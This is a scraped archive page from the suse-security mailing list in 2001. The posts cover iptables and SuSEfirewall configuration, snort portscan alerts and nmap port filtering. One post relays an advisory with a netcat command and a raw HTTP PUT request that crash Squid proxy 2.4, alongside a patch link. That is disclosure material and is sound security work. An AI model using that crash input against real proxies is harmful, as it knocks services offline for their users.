" #iptables -A FORWARD -j LOG --log-prefix "##FWD## " # NAT echo "Configurando NAT..." iptables -t nat -A POSTROUTING -o $INT_PUB -j MASQUERADE #iptables -t nat -A POSTROUTING -j LOG --log-prefix "##NATpost##" #PORT FORWARDING - NAT IN echo "Configurando PNAT ..." #transparent proxy # # iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.0.10:80 iptables -t nat -A PREROUTING -p tcp -d $PUBLIC_DMZWEB_0_0 -j DNAT --to-destination $DMZWEB_0_0 iptables -t nat -A PREROUTING -p tcp -d $PUBLIC_DMZWEB_0_1 -j DNAT --to-destination $DMZWEB_0_1 iptables -t nat -A PREROUTING -p tcp -d $PUBLIC_DMZWEB_1_0 -j DNAT --to-destination $DMZWEB_1_0 #iptables -t nat -A PREROUTING -j LOG --log-prefix "##NATpre##" #SERVICIOS PERMITIDOS LAN - FUERA echo "Permisos de salida desde ids_lan..." #tcp iptables -A ids -p tcp -s $LAN_IDS --dport 20 -j ACCEPT iptables -A ids -p tcp -s $LAN_IDS --dport 21 -j ACCEPT iptables -A ids -p tcp -s $LAN_IDS --dport 20 -j LOG --log-prefix "##ftp##" iptables -A ids -p tcp -s $LAN_IDS --dport 21 -j LOG --log-prefix "##ftp##" iptables -A ids -p tcp -s $LAN_IDS --dport 23 -j ACCEPT iptables -A ids -p tcp -s $LAN_IDS --dport 25 -j ACCEPT iptables -A ids -p tcp -s $LAN_IDS --dport 80 -j ACCEPT iptables -A ids -p tcp -s $LAN_IDS --dport 110 -j ACCEPT iptables -A ids -p tcp -s $LAN_IDS --dport 137 -j ACCEPT iptables -A ids -p tcp -s $LAN_IDS --dport 443 -j ACCEPT iptables -A ids -p tcp -s $ANYIP --dport $UNPRIVPORTS -j ACCEPT #icmp iptables -A ids -p icmp -j ACCEPT #udp iptables -A ids -p udp -s $LAN_IDS -d $DNS1 --dport 53 -j ACCEPT iptables -A ids -p udp -s $LAN_IDS -d $DNS2 --dport 53 -j ACCEPT iptables -A ids -p udp -s $DNS1 -d $LAN_IDS --dport $UNPRIVPORTS -j ACCEPT iptables -A ids -p udp -s $DNS2 -d $LAN_IDS --dport $UNPRIVPORTS -j ACCEPT #el resto lo deniego iptables -A ids -j LOG --log-prefix "##DENY ids##" iptables -A ids -j DROP # LOOPBACK iptables -A loopback -j ACCEPT iptables -A loopback -j LOG --log-prefix "##loopback##" echo "Habilitando acceso a servidores Web DMZ..." iptables -A dmz -p tcp --dport 20 -d $DMZWEB_0_0 -j ACCEPT iptables -A dmz -p tcp --dport 20 -d $DMZWEB_0_1 -j ACCEPT iptables -A dmz -p tcp --dport 20 -d $DMZWEB_1_0 -j ACCEPT iptables -A dmz -p tcp --dport 21 -d $DMZWEB_0_0 -j ACCEPT iptables -A dmz -p tcp --dport 21 -d $DMZWEB_0_1 -j ACCEPT iptables -A dmz -p tcp --dport 21 -d $DMZWEB_1_0 -j ACCEPT iptables -A dmz -p tcp --dport 80 -d $DMZWEB_0_0 -j ACCEPT iptables -A dmz -p tcp --dport 80 -d $DMZWEB_0_1 -j ACCEPT iptables -A dmz -p tcp --dport 80 -d $DMZWEB_1_0 -j ACCEPT #iptables -A dmz -p tcp --dport 137 -d $DMZWEB_0_0 -j ACCEPT #iptables -A dmz -p tcp --dport 137 -d $DMZWEB_1_0 -j ACCEPT #iptables -A dmz -p tcp --dport 137 ! --syn -s $DMZWEB_0_0 -j ACCEPT #iptables -A dmz -p tcp --dport 137 ! --syn -s $DMZWEB_1_0 -j ACCEPT iptables -A dmz -p tcp --dport $UNPRIVPORTS -s $DMZWEB_0_0 -j ACCEPT iptables -A dmz -p tcp --dport $UNPRIVPORTS -s $DMZWEB_0_1 -j ACCEPT iptables -A dmz -p tcp --dport $UNPRIVPORTS -s $DMZWEB_1_0 -j ACCEPT #tienda virtual (tpv) iptables -A dmz -p tcp -s $LAN_DMZ -d 193.24.33.9 --dport 56005 -j ACCEPT #permitit consultas a los dns autorizados "ojo falta el syn!!! y el source port" iptables -A dmz -p udp -s $LAN_DMZ -d $DNS1 --dport 53 -j ACCEPT iptables -A dmz -p udp -s $LAN_DMZ -d $DNS2 --dport 53 -j ACCEPT iptables -A dmz -p udp -s $DNS1 -d $LAN_DMZ --dport $UNPRIVPORTS -j ACCEPT iptables -A dmz -p udp -s $DNS2 -d $LAN_DMZ --dport $UNPRIVPORTS -j ACCEPT #el resto lo deniego iptables -A dmz -j LOG --log-prefix "##DENY dmz##" iptables -A dmz -j DROP echo "***** Fin de firewall script ********************" Thanks

1 0

test
by Radu Anghel 27 Sep '01

27 Sep '01

test

1 0

[suse-security] still bugging with snort...
by Markus Kohli 27 Sep '01

27 Sep '01

Hi again! Still got a problem with snort, or my setup or whatever... Following: [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 2 connections across 2 hosts: TCP(1), UDP(1) [**] 09/26-22:57:21.842870 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 2 connections across 2 hosts: TCP(1), UDP(1) [**] 09/26-22:58:21.841503 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 2 connections across 2 hosts: TCP(1), UDP(1) [**] 09/26-22:58:26.134428 And this repeats over and over again... I set alert-mode to full, is that the problem? My alert-file has risen to 1.5MB in only 3 days... HELP ME, PLEASE! TIA markus

2 1

Re: [suse-security] filtering ports
by r.maurizzi＠gvs.it 27 Sep '01

27 Sep '01

Boris Lorenz <bolo(a)lupa.de> wrote: > Hope that sheds more light on the issue. Let's see if I've understood correctly: If I return-rst all incoming connection on my 22 except ones from a "trusted" net, but I don't also drop/deny the unwanted IPs, an attacker can simply ignore the reset packets and happily connect to the port... right? Ciao, Rob!

3 2

filtering ports
by Michael Neumann 27 Sep '01

27 Sep '01

Hi all, I use iptables as a firewall on my local machine to filter any incoming connections one some ports I want to protect. I have tested this with one single port and then run a portscan o that machine. nmap was not able to connect to that protected port but it marked the port as "filtered". How can I prevent this? nmap should not be able to see if and which ports are filtered. I have tried with DENY and REJECT but got the same report. Thanx Michael

5 7

[suse-security] Help router intern ssh
by Nils Wunsch 27 Sep '01

27 Sep '01

Hi I have 2 Problem for ipchains -> ssh and nslookup ? ich find not the correct Rules from Intern Network to intern network and intern network to extern network . my defin. from intern network L_Nets:192.168.100.0/24 who can help my ? /nils -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

1 0

Re: [suse-security] SuSE Firewall
by Wilko Heyl 27 Sep '01

27 Sep '01

> # 2.) > # Which is the interface that points to the internet? > # > FW_DEV_WORLD="eth1" Are vour directly connected to the DSL-Modem? Then try "ppp0". > FW_MASQ_NETS="192.168.1.0/32" FW_MASQ_NETS="192.168.1.0/24" sounds better... > # e.g. "ippp0" or "" > FW_MASQ_DEV="eth1" FW_MASQ_DEV="$FW_DEV_WORLD" is better... because I think it's ppp0... > FW_SERVICES_EXTERNAL_TCP="smtp www ftp" You REALLY want the Internet connect to your PC? Its not neccessary to connect TO the Internet... > FW_SERVICES_EXTERNAL_UDP="domain" You REALLY want the Internet connect to your PC? Its not neccessary to connect TO the Internet... > FW_SERVICES_DMZ_TCP="smtp domain" I think you do not need a DMZ. You havent configured a DMZ-Device above... > FW_SERVICES_INTERNAL_TCP="smtp domain" Access to the SMTP- and Nameserver on the firewall-Machine.. FW_SERVICES_INTERNAL_UDP="domain" > # > FW_TRUSTED_NETS="192.168.1.0/32" Normally you dont need it, I think. Let it blank. > FW_SERVICES_TRUSTED_TCP="" > FW_SERVICES_TRUSTED_UDP="" > FW_SERVICES_TRUSTED_IP="" No Trusted Services. So you dont need a TrustedNet. > FW_SERVICE_DNS="no" Above you talk about a Nameserver on the Firewall. So FW_SERVICE_DNS="yes" is better, I think. BTW: I don't know, the above settings for the Nameserver: Must I set FW_SERVICES_INTERNAL_TCP|UDP = "domain" for accessing the DomainNameServer from my ISP? I always set an internal NS... > # Redirect TCP connections > FW_REDIRECT_TCP="80" What do you want to do? Redirecting to Squid-Proxy-Server on the firewall-Machine? FW_REDIRECT_TCP="192.168.1.0/24,0/0,80,3128" Then you have to set FW_SERVICES_INTERNAL_TCP = "3128" IMHO.. > FW_ALLOW_PING_FW="no" FW_ALLOW_PING_FW="yes" for testing... > FW_ALLOW_FW_TRACEROUTE="no" FW_ALLOW_FW_TRACEROUTE="yes" for testing... thats all for now, its late... Regards, Wilko Heyl Wilko Heyl __________________________________________________ heyl(a)terraconnect.de - www.terraconnect.de terraconnect GbR - Mauritzstrasse 4 - 48301 Nottuln Wilko Heyl und Burkhard Frie Tel: 0251 - 214493 Fax: 0251 - 214492

1 0

masquerading firewall for DSL connection, wich version of SuSE to choose?
by Admin 26 Sep '01

26 Sep '01

Hi, which SuSE is best for a masq. firewall for a dsl connection? 7.0, 7.1 or 7.2? The machine has to be reinstalled anyways... bye MH -- Die unaufgeforderte Zusendung einer Werbemail an Privatleute verst��t gegen �1 UWG und �823 I BGB (Beschlu� des LG Berlin vom 2.8.1998 Az: 16 O 201/98). Jede kommerzielle Nutzung der �bermittelten pers�nlichen Daten sowie deren Weitergabe an Dritte ist ausdr�cklich untersagt!

2 1

SuSE Firewall
by Richard Ibbotson 26 Sep '01

26 Sep '01

Dear All I've configured a gateway on a friends network with SuSE 7.2. I thought that it might be a good idea to try the SuSE firewall once again. The one that comes on the SuSE CDs. I don't want to upgrade to the new one I want to use this one. After installing the firewall and starting the gateway machine I find that I can't ping the gateway machine and after manually putting in the rules to allow forwarding up to the net nothing works either. You should be able to see the config file for the firewall that I'm using below. Can someone tell me where I've gone wrong and explain what it is that I should change. This is for an ADSL connection with an ethernet card. The external card is eth1 and the internal LAN facing card is eth0. Internal net is 192.168.1.1/24. The manuals do give some simple instructions about what to do but these are confusing and two more pages about configuration options would be helpful. Apologies for the enormously long post .............. # Copyright (c) 1999-2001 SuSE GmbH Nuernberg, Germany. All rights reserved. # # Author: Marc Heuse <marc(a)suse.de>, 1999-2001 # Please contact me directly if you find bugs. ------------------------------------------------------------------------ # # 1.) # Should the Firewall be started? # # This setting is done in /etc/rc.config (START_FW="yes") # # 2.) # Which is the interface that points to the internet? # # Enter all the network devices here which are untrusted. # # Choice: any number of devices, separated by a space # e.g. "eth0", "ippp0 ippp1" # FW_DEV_WORLD="eth1" # # You *may* configure a static IP and netmask to force rule loading even if the # interface is not up and running: set a variable called # FW_DEV_WORLD_[device]="IP_ADDRESS NETMASK" # see below for an example. Otherwise automatic detection is done. # You will still need to set FW_DEV_WORLD first! # # e.g. for external interface ippp0 #FW_DEV_WORLD_ippp0="10.0.0.1 255.255.255.0" # # 3.) # Which is the interface that points to the internal network? # # Enter all the network devices here which are trusted. # If you are not connected to a trusted network (e.g. you have just a # dialup) leave this empty. # # Choice: leave empty or any number of devices, separated by a space # e.g. "tr0", "eth0 eth1" or "" # FW_DEV_INT="eth0" # # You may configure a static IP and netmask to force rule loading even if the # interface is not up and running: set a variable called # FW_DEV_INT_[device]="IP_ADDRESS NETMASK" # see below for an example. Otherwise automatic detection is done. # You will still need to set FW_DEV_INT first! # # e.g. for internal interface eth0 #FW_DEV_INT_eth0="192.168.1.1 255.255.255.0" # # 4.) # Which is the interface that points to the dmz network? # # Enter all the network devices here which point to the dmz. # A "dmz" is a special, separated network, which is only connected to the # firewall, and should be reachable from the internet to provide services, # e.g. WWW, Mail, etc. and hence are at risk from attacks. # See /usr/share/doc/packages/SuSEfirewall/EXAMPLES for an example. # # Special note: You have to configure FW_FORWARD_TCP and FW_FORWARD_UDP to # define the services which should be available to the internet and set # FW_ROUTE to yes. # Very special note: servers/networks in FW_MASQ_NETS may access the DMZ to # the same extent they are allowed to access the internet! No FW_FORWARD_* # needed ... # # Choice: leave empty or any number of devices, separated by a space # e.g. "tr0", "eth0 eth1" or "" # FW_DEV_DMZ="" # # You may configure a static IP and netmask to force rule loading even if the # interface is not up and running: set a variable called # FW_DEV_INT_[device]="IP_ADDRESS NETMASK" # see below for an example. Otherwise automatic detection is done. # You will still need to set FW_DEV_DMZ first! # # e.g. for dmz interface eth1 #FW_DEV_DMZ_eth1="192.168.1.1 255.255.255.0" # # 5.) # Should routing between the internet, dmz and internal network be activated? # REQUIRES: FW_DEV_INT or FW_DEV_DMZ # # You need only set this to yes, if you either want to masquerade internal # machines or allow access to the dmz (or internal machines, but this is not # a good idea). This option supersedes IP_FORWARD from /etc/rc.config! # # Setting this option one alone doesn't do anything. Either activate # massquerading with FW_MASQUERADE below if you want to masquerade your # internal network to the internet, or configure FW_FORWARD_TCP and/or # FW_FORWARD_UDP to define what is allowed to be forwarded! # # Choice: "yes" or "no", defaults to "no" # FW_ROUTE="yes" # # 6.) # Do you want to masquerade internal networks to the outside? # REQUIRES: FW_DEV_INT, FW_ROUTE # # "Masquerading" means that all your internal machines which use services on # the internet seem to come from your firewall. # Please note that it is more secure to communicate via proxies to the # internet than masquerading # # Choice: "yes" or "no", defaults to "no" # FW_MASQUERADE="yes" # # Which internal computers/networks are allowed to access the internet # directly (not via proxys on the firewall)? # Only these networks will be allowed access and will be masqueraded! # # Please note this config changed in firewals-2.3: You may either use just # hosts/nets to allow all traffic from them to the internet, or use an extended # syntax, to restrict internet access to certain services! # # Choice: leave empty or any number of hosts/networks seperated by a space. # Every host/network may get a list of allowed services, otherwise everything # is allowed. A protocol and service is appended by a comma to the host/network. # e.g. "10.0.0.0/8" allows the whole 10.0.0.0 network with unrestricted access # "10.0.1.0/24,tcp,80 10.0.1.0/24,tcp,21" allows the 10.0.1.0 network to use # www/ftp to the internet. "10.0.1.0/24,tcp,1024:65535 10.0.2.0/24" is OK too. # You may NOT set this variable to "0/0" ! # FW_MASQ_NETS="192.168.1.0/32" # # If you want (and you should) you may also set the FW_MASQ_DEV option, to # specify the outgoing interface to masquerade on. (You would normally use # the external interface(s), the FW_DEV_WORLD device(s), e.g. "ippp0") # # e.g. "ippp0" or "$FW_DEV_WORLD" FW_MASQ_DEV="eth1" # # 7.) # Do you want to protect the firewall from the internal network? # REQUIRES: FW_DEV_INT # # If you set this to "yes", internal machines may only access services on # the machine you explicitly allow. They will be also affected from the # FW_AUTOPROTECT_GLOBAL_SERVICES option. # If you set this to "no", any user can connect (and attack) any service on # the firewall. # # Choice: "yes" or "no", defaults to "yes" # FW_PROTECT_FROM_INTERNAL="no" # # 8.) # Do you want to autoprotect all global running services? # # If set to "yes", all network access to services TCP and UDP on this machine # which are not bound to a special IP address will be prevented (except to # those which you explicitly allow, see below: FW_*_SERVICES_*) # Example: "0.0.0.0:23" would be protected, but "10.0.0.1:53" not. # # Choice: "yes" or "no", defaults to "yes" # # "yes" is a good choice FW_AUTOPROTECT_GLOBAL_SERVICES="yes" # # 9.) # Which services ON THE FIREWALL should be accessible from either the internet # (or other untrusted networks), the dmz or internal (trusted networks)? # (see no.13 & 14 if you want to route traffic through the firewall) # # Enter all ports or known portnames below, seperated by a space. # TCP services (e.g. SMTP, WWW) must be set in FW_SERVICES_*_TCP, and # UDP services (e.g. syslog) must be set in FW_SERVICES_*_UDP. # e.g. if a webserver on the firewall should be accessible from the internet: # FW_SERVICES_EXTERNAL_TCP="www" # e.g. if the firewall should receive syslog messages from the dmz: # FW_SERVICES_DMZ_UDP="syslog" # For IP protocols (like GRE for PPTP, or OSPF for routing) you need to set # FW_SERVICES_*_IP with the protocol name or number (see /etc/protocols) # # Choice: leave empty or any number of ports, known portnames (from # /etc/services) and port ranges seperated by a space. Port ranges are # written like this, from 1 to 10: "1:10" # e.g. "", "smtp", "123 514", "3200:3299", "ftp 22 telnet 512:514" # For FW_SERVICES_*_IP enter the protocol name (like "igmp") or number ("2") # # Services, visible to the external net (normally internet), TCP # Common: smtp domain FW_SERVICES_EXTERNAL_TCP="smtp www ftp" # Services, visible to the external net (normally internet), UDP # Common: domain FW_SERVICES_EXTERNAL_UDP="domain" # Externally visible services, other IP protocols # For VPN/Routing which END at the firewall!! FW_SERVICES_EXTERNAL_IP="" # # Services visible to the DMZ, TCP # Common: smtp domain FW_SERVICES_DMZ_TCP="smtp domain" # Services visible to the DMZ, UDP # Common: domain syslog FW_SERVICES_DMZ_UDP="" # Services visible to the DMZ, other IP protocols # For VPN/Routing which END at the firewall!! FW_SERVICES_DMZ_IP="" # # Services, visible to the internal net, TCP # Common: ssh smtp domain FW_SERVICES_INTERNAL_TCP="smtp domain" # Services, visible to the internal net, UDP # Common: domain syslog FW_SERVICES_INTERNAL_UDP="domain" # For VPN/Routing which END at the firewall!! FW_SERVICES_INTERNAL_IP="" # # 10.) # Which services should be accessible from trusted hosts/nets on the internet? # # Define trusted networks on the internet, and the TCP and/or UDP services # they are allowed to use. # # Choice: leave FW_TRUSTED_NETS empty or any number of computers and/or # networks, seperated by a space. e.g. "172.20.1.1", "172.20.0.0/16" # FW_TRUSTED_NETS="192.168.1.0/32" # # leave FW_SERVICES_TRUSTED_* empty or any number of ports, known portnames # (from /etc/services) and port ranges seperated by a space. # e.g. "25", "ssh", "1:65535", "1 3:5" # # Services, available to trusted hosts/nets, TCP # Common: ssh FW_SERVICES_TRUSTED_TCP="" # Services, available to trusted hosts/nets, UDP # Common: syslog time ntp FW_SERVICES_TRUSTED_UDP="" # Services, available to trusted hosts/nets, other IP protos # For VPN/Routing which END at the firewall!! FW_SERVICES_TRUSTED_IP="" # # Some people want to allow some trusted machines access to some services # and different services to others. OK, here is your hardcore config option: # "trusted_net,protocol,port" e.g. "10.0.1.0/24,tcp,80 10.0.1.6,tcp,21" FW_SERVICES_TRUSTED_ACL="" # # 11.) # How is access allowed to high (unpriviliged [above 1023]) ports? # # You may either allow everyone from anyport access to your highports ("yes"), # disallow anyone ("no"), anyone who comes from a defined port (portnumber or # known portname) [note that this is easy to circumvent!], or just your # defined nameservers ("DNS"). # Note that if you want to use normal (active) ftp, you have to set the TCP # option to ftp-data. If you use passive ftp, you don't need that. # Note that you can't use rpc requests (e.g. rpcinfo, showmount) as root # from a firewall using this script (well, you can if you include range # 600:1023 in FW_SERVICES_EXTERNAL_UDP ...). # # Choice: "yes", "no", "DNS", portnumber or known portname, defaults to "no" # # Incoming connections on ports >= 1024, TCP # Common: "ftp-data" (sadly!) FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" # Incoming connections on ports >= 1024, UDP # Common: "DNS" or "domain ntp" FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" # # 12.) # Are you running some of the services below? # They need special attention - otherwise they won´t work! # # Set services you are running to "yes", all others to "no", defaults to "no" # # if yes, FW_SERVICES_*_TCP needs to have port 53 # (or "domain") set to allow incoming queries. # also FW_ALLOW_INCOMING_HIGHPORTS_UDP needs to be "yes" FW_SERVICE_DNS="no" # if you use dhclient to get an ip address # you have to set this to "yes" ! FW_SERVICE_DHCLIENT="yes" # set to "yes" if this server is a DHCP server FW_SERVICE_DHCPD="no" # set to "yes" if this server uses samba as client # or server. As a server, you still have to set # FW_SERVICES_{WORLD,DMZ,INT}_TCP="139" # Everyone may send you udp 137/138 packets if set # to yes! (samba on the firewall is not a good idea!) FW_SERVICE_SAMBA="no" # # 13.) # Which services accessed from the internet should be allowed to the # dmz (or internal network - if it is not masqueraded)? # REQUIRES: FW_ROUTE # # With this option you may allow access to e.g. your mailserver. The # machines must have valid, non-private, IP addresses which were assigned to # you by your ISP. This opens a direct link to your network, so only use # this option for access to your dmz!!!! # # Choice: leave empty (good choice!) or use the following explained syntax # of forwarding rules, seperated each by a space. # A forwarding rule consists of 1) source IP/net, 2) destination IP (dmz/intern) # and 3) destination port (or IP protocol), seperated by a comma (","), e.g. # "4.0.0.0/8,1.1.1.1,22" [means: net 4.0.0.0 with netmask 255.0.0.0 is # allowed to connect to the single server 1.1.1.1 on port 22 (which is SSH)] # "4.4.4.4/12,20.20.20.20,22 12.12.12.12/12,20.20.20.20,22" # For FW_FORWARD_IP it is "4.0.0.0/8,1.1.1.1,igmp" or "4.0.0.0/8,1.1.1.1,1" # # Forward TCP connections # Beware to use this! FW_FORWARD_TCP="" # Forward UDP connections # Beware to use this! FW_FORWARD_UDP="" # Forward other IP protocol connections (for VPN setups) # Beware to use this! FW_FORWARD_IP="" # # 14.) # Which services accessed from the internet should be allowed to masqueraded # servers (on the internal network or dmz)? # REQUIRES: FW_ROUTE, FW_MASQUERADE # # With this option you may allow access to e.g. your mailserver. The # machines must be in a masqueraded segment and may not have public IP addesses! # Hint: if FW_DEV_MASQ is set to the external interface you have to set # FW_FORWARD_* from internal to DMZ for the service as well! # # Please note that this should *not* be used for security reasons! You are # opening a hole to your precious internal network. If e.g. the webserver there # is compromised - your full internal network is compromised!! # # Choice: leave empty (good choice!) or use the following explained syntax # of forward masquerade rules, seperated each by a space. # A forward masquerade rule consists of 1) source IP/net, 2) destination IP # (dmz/intern) and 3) destination port, seperated by a comma (","), e.g. # "4.0.0.0/8,1.1.1.1,22", # "4.4.4.4/12,20.20.20.20,22 12.12.12.12/12,20.20.20.20,22" # # Forward TCP connections to masqueraded host # Beware to use this! FW_FORWARD_MASQ_TCP="" # Forward UDP connections to masqueraded host # Beware to use this! FW_FORWARD_MASQ_UDP="" # it is not possible to masquerade other IP protocols, hence no _IP variable # # 15.) # Which accesses to services should be redirected to a localport on the # firewall machine? # # This can be used to force all internal users to surf via your squid proxy, # or transparently redirect incoming webtraffic to a secure webserver. # # Choice: leave empty or use the following explained syntax of redirecting # rules, seperated by a space. # A redirecting rule consists of 1) source IP/net, 2) destination IP/net, # 3) original destination port and 4) local port to redirect the traffic to, # seperated by a colon. e.g. "10.0.0.0/8,0/0,80,3128 0/0,172.20.1.1,80,8080" # # Redirect TCP connections FW_REDIRECT_TCP="80" # Redirect UDP connections FW_REDIRECT_UDP="" # # 16.) # Which logging level should be enforced? # You can define to log packets which were accepted or denied. # You can also the set log level, the critical stuff or everything. # Note that logging *_ALL is only for debugging purpose ... # # Choice: "yes" or "no", FW_LOG_*_CRIT defaults to "yes", # FW_LOG_*_ALL defaults to "no" # # Log critical denied network packets FW_LOG_DENY_CRIT="yes" # Log all denied packets FW_LOG_DENY_ALL="yes" # Log critical accepted packets FW_LOG_ACCEPT_CRIT="yes" # Log all accepted packets FW_LOG_ACCEPT_ALL="yes" # # 17.) # Do you want to enable additional kernel TCP/IP security features? # If set to yes, some obscure kernel options are set. # (icmp_ignore_bogus_error_responses, icmp_echoreply_rate, # icmp_destunreach_rate, icmp_paramprob_rate, icmp_timeexeed_rate, # ip_local_port_range, log_martians, mc_forwarding, mc_forwarding, # rp_filter, routing flush) # Tip: Set this to "no" until you have verified that you have got a # configuration which works for you. Then set this to "yes" and keep it # if everything still works. (It should!) ;-) # # If you are using VPNs (e.g. FreeSWAN) or are combining several ISDN lines # or similar to one, you have to set this to "no" ! # # Choice: "yes" or "no", defaults to "yes" # FW_KERNEL_SECURITY="yes" # # 18.) # Keep the routing set on, if the firewall rules are unloaded? # REQUIRES: FW_ROUTE # # If you are using diald, or automatic dialing via ISDN, if packets need # to be sent to the internet, you need to turn this on. The script will then # not turn off routing and masquerading when stopped. # You *might* also need this if you have got a DMZ. # Please note that this is *insecure*! If you unload the rules, but are still # connected, you might your internal network open to attacks! # The better solution is to remove "/sbin/SuSEfirewall stop" or # "/sbin/init.d/firewall stop" from the ip-down script! # # Choices "yes" or "no", defaults to "no" # FW_STOP_KEEP_ROUTING_STATE="no" # # 19.) # Allow (or don't) ICMP echo pings on either the firewall or the dmz from # the internet? # REQUIRES: FW_ROUTE for FW_ALLOW_PING_DMZ # # Choice: "yes" or "no", defaults to "no" # # Allow ping on firewall FW_ALLOW_PING_FW="no" # Allow ping on DMZ targets FW_ALLOW_PING_DMZ="no" ## # END of firewall.rc.config ## # # #-------------------------------------------------------------------------# # # # EXPERT OPTIONS - all others please don't change these! # # # #-------------------------------------------------------------------------# # # # # 20.) # Allow (or don't) ICMP time-to-live-exceeded to be send from your firewall. # This is used for traceroutes to your firewall (or traceroute like tools). # # Please note that the unix traceroute only works if you say "yes" to # FW_ALLOW_INCOMING_HIGHPORTS_UDP, and windows traceroutes only if you say # "yes" to FW_ALLOW_PING_FW # # Choice: "yes" or "no", defaults to "no" # FW_ALLOW_FW_TRACEROUTE="no" # # 21.) # Allow ICMP sourcequench from your ISP? # # If set to yes, the firewall will notice when connection is choking, however # this opens yourself to a denial of service attack. Choose your poison. # # Choice: "yes" or "no", defaults to "yes" # FW_ALLOW_FW_SOURCEQUENCH="yes" # # 22.) # Which masquerading modules should be loaded? # REQUIRES: FW_ROUTE, FW_MASQUERADE # # (omit the path or "ip_masq_" prefix as well as the ".o" suffix!) # FW_MASQ_MODULES="autofw cuseeme ftp irc mfw portfw quake raudio user vdolive" # # 23.) # Do you want to load customary rules from a file? # # This is really an expert option. NO HELP WILL BE GIVEN FOR THIS! # READ THE EXAMPLE CUSTOMARY FILE AT /etc/rc.config.d/firewall-custom.rc.config # #FW_CUSTOMRULES="/etc/rc.config.d/firewall-custom.rc.config" -- Richard

2 1

squid remote exploit/crash
by Wolfram Schlich 26 Sep '01

26 Sep '01

Hi, the recent admins.ws security-newsletter states: german original: --8<-- 5. Squid Web Proxy kann durch bösartige User abgeschossen werden Es wurde ein Fehler im Cache-Handling entdeckt, der es Usern ermöglicht, die in Unix-Kreisen verbreitete Squid Proxy abzuschießen. Das nachfolgende Beispiel führt dazu, daß Squid hängenbleibt, und neu gestartet werden muß : nc proxy:3128 PUT ftp://ftpserver/WEB-INF/1/2/1/ HTTP/1.1 Content-type: application/octet-stream Content-length: 0 Pragma: no-cache Betroffen sind alle Versionen einschließlich der aktuellen Version 2.4 Es wird somit dringend empfohlen, den folgenden Patch herunterzuladen und zu installieren: http://www.squid-cache.org/bugs/showattachment.cgi?attach_id=38 --8<-- translated (logically): --8<-- 5. Squid web proxy can be crashed by mischievous users A bug in the cache-handling was discovered, which makes it possible for users to crash the commonly used squid web proxy. The example given herafter results in squid hanging and needing a restart: nc proxy:3128 PUT ftp://ftpserver/WEB-INF/1/2/1/ HTTP/1.1 Content-type: application/octet-stream Content-length: 0 Pragma: no-cache All versions including 2.4 are affected. You are strongly encouraged to get and install the following patch: http://www.squid-cache.org/bugs/showattachment.cgi?attach_id=38 --8<-- SuSE-ppl: when may we reckon on an update? Thank you. -- Mit freundlichen Gruessen / Yours sincerely Wolfram Schlich * E-Mail: wolfram(a)schlich.org * ICQ: UIN 35713642 Postal: Berghof, D-56626 Andernach-Kell * Phone: +49-(0)2636-941194

3 3

Is it possible to return something, so Nimda would crash?
by Alexey N. Solofnenko 25 Sep '01

25 Sep '01

People just never install patches. It seems the only way to shut the virus up. _____ < http://members.home.com/asolofnenko/ > Alexey N. Solofnenko < http://www.inventigo.com/ Inventigo LLC Pleasant Hill, CA (GMT-8 usually)

13 24

RE: [suse-security] Is it possible to return something, so Nimda would crash?
by Mauricio Latorre 25 Sep '01

25 Sep '01

and three... it's better that you put in a web page :-D By the way, it's a good way to flood a server, but i'm not sure about the accuracy Chubasco ----- Original Message ----- From: "Peter Romianowski" <antarapero(a)gmx.de> Date: Monday, September 24, 2001 8:32 pm Subject: RE: [suse-security] Is it possible to return something, so Nimda would crash? > now we are two :-) > > > -----Original Message----- > > From: Alexey N. Solofnenko [mailto:alexeys@citechlabs.com] > > Sent: Tuesday, September 25, 2001 12:26 AM > > To: > > Subject: RE: [suse-security] Is it possible to return something, > > so Nimda would crash? > > > > > > Maybe you can publish the script here? > > > > _____ > > > > < http://members.home.co > Alexey N. Solofnenko > > < http://www.inventigo.com/ Inventigo LLC > > Pleasant Hill, CA (GMT-8 usually) > > > > > > -----Original Message----- > > From: Thomas Lamy [mailto:Thomas.Lamy@netwake.de] > > Sent: Monday, September 24, 2001 1:38 PM > > To: 'Alexey N. Solofnenko'; suse-security(a)suse.com > > Subject: AW: [suse-security] Is it possible to return something, so > > Nimda would crash? > > > > > > Hi, > > you can always ask ARIN (whois whois.arin.net <ip>) or (in > Europe) RIPE > > (whois.ripe.net) it will give you the administrative contact(s) > for the > > netblock the questioned ip is in. > > > > I hacked a small shell script which takes an access_log file > from my > > servers, extracts the nimda-type requests, does a lookup of the > admin's> email and sends him _one_ mail (with URLs pointing to > NIMDA informations > > and > > how to remove it). > > > > Can't tell how successful I was with this attempt, but sent out 350 > > mails > > and received no "shut up"... > > > > > > Thomas > > > > ..............

1 0

Security Violations
by Eduard Meiler 25 Sep '01

25 Sep '01

Hallo, does anybody understand this Security Violations: Sep 24 17:39:00 wall pppd[12338]: tcflush failed: Input/output error Sep 24 17:48:23 wall pppoe[12633]: Bad TCP checksum fffe best regards eduard

3 2

[suse-security] snort going mad, portscan against myself?
by Markus Kohli 25 Sep '01

25 Sep '01

Hi together! I just figured out how to run snort (altough it doesn't start at boot-up, hell knows why...). Now it keeps telling me, that there is a portscan against myself from my machine running. Look at this: [**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 10.0.3.19 (THRESHOLD 4 connections exceeded in 7 seconds) [**] 09/24-23:52:42.477424 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 6 connections across 6 hosts: TCP(5), UDP(1) [**] 09/24-23:53:58.678712 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 1 connections across 1 hosts: TCP(0), UDP(1) [**] 09/24-23:54:03.679551 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 1 connections across 1 hosts: TCP(0), UDP(1) [**] 09/24-23:54:08.689307 [**] [100:2:1] spp_portscan: portscan status from 10.0.3.19: 2 connections across 2 hosts: TCP(1), UDP(1) [**] 09/24-23:55:00.534798 And I swear, I'm not running any nmap or anything similar, and haven't been running since the last reboot... Could anybody help me please? TIA kind regards markus

2 1

AW: [suse-security] Is it possible to return something, so Nimda would crash?
by Thomas Lamy 25 Sep '01

25 Sep '01

